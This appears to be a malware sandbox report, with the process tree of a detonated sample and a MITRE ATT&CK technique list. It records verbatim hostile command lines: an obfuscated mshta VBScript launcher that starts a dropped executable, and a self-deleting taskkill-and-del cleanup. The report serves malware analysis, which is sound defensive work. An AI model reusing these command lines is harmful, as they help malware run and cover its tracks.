C:\Users\Admin\AppData\Local\Temp\E0C9.exe
"{path}"
2⤵
PID:5748

C:\Users\Admin\AppData\Local\Temp\EE38.exe
"C:\Users\Admin\AppData\Local\Temp\EE38.exe"
1⤵
PID:5592

C:\Users\Admin\AppData\Local\Temp\D4E0.exe
"C:\Users\Admin\AppData\Local\Temp\D4E0.exe"
1⤵
PID:6020

C:\Users\Admin\AppData\Local\Temp\A492.exe
"C:\Users\Admin\AppData\Local\Temp\A492.exe"
1⤵
- Suspicious use of SetThreadContext
PID:6064

C:\Users\Admin\AppData\Local\Temp\647349126.exe
"C:\Users\Admin\AppData\Local\Temp\647349126.exe"
1⤵
- Suspicious use of SetThreadContext
PID:3932

C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
2⤵
PID:6060

C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
2⤵
PID:2400

C:\Users\Admin\AppData\Local\Temp\uQLGv.exe
"C:\Users\Admin\AppData\Local\Temp\uQLGv.exe"
1⤵
PID:6240

C:\Windows\SysWOW64\mshta.exe
"C:\Windows\System32\mshta.exe" vBsCriPt: CLOse ( cReatEoBJEcT("wSCrIPT.sHelL" ). RUn ( "cmD.EXe /Q /C COpY /y ""C:\Users\Admin\AppData\Local\Temp\uQLGv.exe"" uQLGv.exe > Nul && StArT uQLGv.exe -P5x35C~QWmaAR8osCre & iF """" == """" for %V In ( ""C:\Users\Admin\AppData\Local\Temp\uQLGv.exe"" ) do taskkill -IM ""%~nXV"" -F > nul ",0) )
2⤵
PID:740

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /Q /C COpY /y "C:\Users\Admin\AppData\Local\Temp\uQLGv.exe" uQLGv.exe> Nul && StArT uQLGv.exe -P5x35C~QWmaAR8osCre & iF "" =="" for %V In ( "C:\Users\Admin\AppData\Local\Temp\uQLGv.exe" ) do taskkill -IM "%~nXV" -F> nul
3⤵
PID:2080

C:\Windows\SysWOW64\taskkill.exe
taskkill -IM "uQLGv.exe" -F
4⤵
- Kills process with taskkill
PID:5200

C:\Windows\SysWOW64\regsvr32.exe
"C:\Windows\System32\regsvr32.exe" .\ma0IL_U1.C_T -u /s
2⤵
PID:1988

C:\Users\Admin\AppData\Local\Temp\D4E0.exe
"C:\Users\Admin\AppData\Local\Temp\D4E0.exe"
1⤵
PID:2324

C:\Users\Admin\AppData\Local\Temp\uQLGv.exe
"C:\Users\Admin\AppData\Local\Temp\uQLGv.exe"
1⤵
PID:3772

C:\Windows\SysWOW64\mshta.exe
"C:\Windows\System32\mshta.exe" vBsCriPt: CLOse ( cReatEoBJEcT("wSCrIPT.sHelL" ). RUn ( "cmD.EXe /Q /C COpY /y ""C:\Users\Admin\AppData\Local\Temp\uQLGv.exe"" uQLGv.exe > Nul && StArT uQLGv.exe -P5x35C~QWmaAR8osCre & iF """" == """" for %V In ( ""C:\Users\Admin\AppData\Local\Temp\uQLGv.exe"" ) do taskkill -IM ""%~nXV"" -F > nul ",0) )
2⤵
PID:4440

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /Q /C COpY /y "C:\Users\Admin\AppData\Local\Temp\uQLGv.exe" uQLGv.exe> Nul && StArT uQLGv.exe -P5x35C~QWmaAR8osCre & iF "" =="" for %V In ( "C:\Users\Admin\AppData\Local\Temp\uQLGv.exe" ) do taskkill -IM "%~nXV" -F> nul
3⤵
PID:6188

C:\Windows\SysWOW64\taskkill.exe
taskkill -IM "uQLGv.exe" -F
4⤵
- Kills process with taskkill
PID:5996

C:\Users\Admin\AppData\Local\Temp\DB5A.exe
"C:\Users\Admin\AppData\Local\Temp\DB5A.exe"
1⤵
PID:4612

C:\Users\Admin\AppData\Local\Temp\uQLGv.exe
"C:\Users\Admin\AppData\Local\Temp\uQLGv.exe"
1⤵
PID:4872

C:\Windows\SysWOW64\mshta.exe
"C:\Windows\System32\mshta.exe" vBsCriPt: CLOse ( cReatEoBJEcT("wSCrIPT.sHelL" ). RUn ( "cmD.EXe /Q /C COpY /y ""C:\Users\Admin\AppData\Local\Temp\uQLGv.exe"" uQLGv.exe > Nul && StArT uQLGv.exe -P5x35C~QWmaAR8osCre & iF """" == """" for %V In ( ""C:\Users\Admin\AppData\Local\Temp\uQLGv.exe"" ) do taskkill -IM ""%~nXV"" -F > nul ",0) )
2⤵
- Blocklisted process makes network request
PID:4700

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /Q /C COpY /y "C:\Users\Admin\AppData\Local\Temp\uQLGv.exe" uQLGv.exe> Nul && StArT uQLGv.exe -P5x35C~QWmaAR8osCre & iF "" =="" for %V In ( "C:\Users\Admin\AppData\Local\Temp\uQLGv.exe" ) do taskkill -IM "%~nXV" -F> nul
3⤵
PID:3148

C:\Windows\SysWOW64\taskkill.exe
taskkill -IM "uQLGv.exe" -F
4⤵
- Kills process with taskkill
PID:4992

C:\Users\Admin\AppData\Local\Temp\D4E0.exe
"C:\Users\Admin\AppData\Local\Temp\D4E0.exe"
1⤵
PID:6500

C:\Users\Admin\AppData\Local\Temp\DB5A.exe
"C:\Users\Admin\AppData\Local\Temp\DB5A.exe"
1⤵
PID:6368

C:\Users\Admin\AppData\Local\Temp\E0C9.exe
"C:\Users\Admin\AppData\Local\Temp\E0C9.exe"
1⤵
PID:6976

C:\Users\Admin\AppData\Local\Temp\E0C9.exe
"{path}"
2⤵
PID:1000

C:\Users\Admin\AppData\Local\Temp\EE38.exe
"C:\Users\Admin\AppData\Local\Temp\EE38.exe"
1⤵
PID:4288

C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe
"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe" -ServerName:MicrosoftEdge.AppXdnhjhccw3zf0j06tkg3jtqr00qdm0khc.mca
1⤵
PID:3752

C:\Windows\system32\browser_broker.exe
C:\Windows\system32\browser_broker.exe -Embedding
1⤵
PID:740

C:\Windows\system32\NOTEPAD.EXE
"C:\Windows\system32\NOTEPAD.EXE" C:\Users\Admin\AppData\Local\Temp\wmsetup.log
1⤵
- Opens file in notepad (likely ransom note)
PID:3964

C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
1⤵
PID:1224

C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
1⤵
PID:4160

C:\Windows\system32\WerFault.exe
C:\Windows\system32\WerFault.exe -u -p 4160 -s 1204
2⤵
- Program crash
PID:6720

C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
1⤵
PID:408

C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
1⤵
PID:5568

C:\Windows\system32\WerFault.exe
C:\Windows\system32\WerFault.exe -u -p 5568 -s 1688
2⤵
- Program crash
PID:5292

C:\Users\Admin\AppData\Local\Temp\CA9E.exe
"C:\Users\Admin\AppData\Local\Temp\CA9E.exe"
1⤵
PID:2520

C:\Users\Admin\AppData\Local\Temp\C0AA.exe
"C:\Users\Admin\AppData\Local\Temp\C0AA.exe"
1⤵
PID:584

C:\Users\Admin\AppData\Local\Temp\647349126.exe
"C:\Users\Admin\AppData\Local\Temp\647349126.exe"
2⤵
PID:7536

C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
3⤵
PID:8128

C:\Users\Admin\AppData\Local\Temp\1371397063.exe
"C:\Users\Admin\AppData\Local\Temp\1371397063.exe"
2⤵
PID:7820

C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
3⤵
PID:8120

C:\Users\Admin\AppData\Local\Temp\C454.exe
"C:\Users\Admin\AppData\Local\Temp\C454.exe"
1⤵
PID:5876

C:\Users\Admin\AppData\Local\Temp\FF51.exe
"C:\Users\Admin\AppData\Local\Temp\FF51.exe"
1⤵
PID:7172

C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
2⤵
PID:7356

C:\Windows\system32\werfault.exe
werfault.exe /h /shared Global\4a63f199e6924531950738d7562104ae /t 5364 /p 408
1⤵
PID:7312

C:\Users\Admin\AppData\Local\Temp\F86A.exe
"C:\Users\Admin\AppData\Local\Temp\F86A.exe" C:\Users\Admin\AppData\Local\Temp\JavaDeployReg.log
1⤵
PID:7372

C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
2⤵
PID:7620

C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
2⤵
PID:7664

C:\Users\Admin\AppData\Local\Temp\E0C9.exe
"C:\Users\Admin\AppData\Local\Temp\E0C9.exe"
1⤵
PID:7364

C:\Users\Admin\AppData\Local\Temp\E0C9.exe
"{path}"
2⤵
PID:7496

C:\Users\Admin\AppData\Local\Temp\E0C9.exe
"{path}"
2⤵
PID:4124

C:\Users\Admin\AppData\Local\Temp\E0C9.exe
"{path}"
2⤵
PID:6616

C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
1⤵
PID:6976

C:\Windows\system32\WerFault.exe
C:\Windows\system32\WerFault.exe -u -p 6976 -s 2892
2⤵
- Program crash
PID:6604

C:\Users\Admin\AppData\Local\Temp\18AC.exe
"C:\Users\Admin\AppData\Local\Temp\18AC.exe"
1⤵
PID:7720

C:\Users\Admin\AppData\Local\Temp\21B5.exe
"C:\Users\Admin\AppData\Local\Temp\21B5.exe"
1⤵
PID:7860

C:\Users\Admin\AppData\Local\Temp\tcfoaowc.mf0\app.exe
"C:\Users\Admin\AppData\Local\Temp\tcfoaowc.mf0\app.exe"
1⤵
PID:7996

C:\Users\Admin\AppData\Local\Temp\tcfoaowc.mf0\app.exe
"C:\Users\Admin\AppData\Local\Temp\tcfoaowc.mf0\app.exe"
2⤵
PID:9488

C:\Users\Admin\AppData\Local\Temp\tcfoaowc.mf0\app.exe
"C:\Users\Admin\AppData\Local\Temp\tcfoaowc.mf0\app.exe"
1⤵
PID:7444

C:\Users\Admin\AppData\Local\Temp\tcfoaowc.mf0\app.exe
"C:\Users\Admin\AppData\Local\Temp\tcfoaowc.mf0\app.exe"
2⤵
PID:8480

C:\Users\Admin\AppData\Local\Temp\tcfoaowc.mf0\app.exe
"C:\Users\Admin\AppData\Local\Temp\tcfoaowc.mf0\app.exe"
1⤵
PID:7376

C:\Users\Admin\AppData\Local\Temp\tcfoaowc.mf0\app.exe
"C:\Users\Admin\AppData\Local\Temp\tcfoaowc.mf0\app.exe"
2⤵
PID:7848

C:\Users\Admin\AppData\Local\Temp\xh4sm0b1.hgj\build.exe
"C:\Users\Admin\AppData\Local\Temp\xh4sm0b1.hgj\build.exe"
1⤵
PID:6216

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /c taskkill /im build.exe /f & timeout /t 6 & del /f /q "C:\Users\Admin\AppData\Local\Temp\xh4sm0b1.hgj\build.exe" & del C:\ProgramData\*.dll & exit
2⤵
- Blocklisted process makes network request
PID:5604

C:\Windows\SysWOW64\taskkill.exe
taskkill /im build.exe /f
3⤵
- Kills process with taskkill
PID:5332

C:\Windows\SysWOW64\timeout.exe
timeout /t 6
3⤵
- Delays execution with timeout.exe
PID:8064

C:\Users\Admin\AppData\Local\Temp\ktetzzug.3kl\google-game.exe
"C:\Users\Admin\AppData\Local\Temp\ktetzzug.3kl\google-game.exe"
1⤵
PID:7396

C:\Windows\SysWOW64\rundll32.exe
"C:\Windows\System32\rundll32.exe" "C:\Program Files\install.dll",install
2⤵
PID:408

C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe
"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe" -ServerName:MicrosoftEdge.AppXdnhjhccw3zf0j06tkg3jtqr00qdm0khc.mca
1⤵
PID:8280

C:\Windows\system32\browser_broker.exe
C:\Windows\system32\browser_broker.exe -Embedding
1⤵
PID:8344

C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
1⤵
PID:8888

C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
1⤵
PID:9060

C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
1⤵
PID:6960

C:\Windows\system32\WerFault.exe
C:\Windows\system32\WerFault.exe -u -p 6960 -s 1224
2⤵
- Program crash
PID:7880

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Registry Run Keys / Startup Folder

T1060

BITS Jobs

T1197

Privilege Escalation

Defense Evasion

Virtualization/Sandbox Evasion

T1497

Modify Registry

BITS Jobs

T1197

Install Root Certificate

T1130

Credential Access

Credentials in Files

T1081

Discovery

Software Discovery

T1518

Query Registry

Virtualization/Sandbox Evasion

T1497

System Information Discovery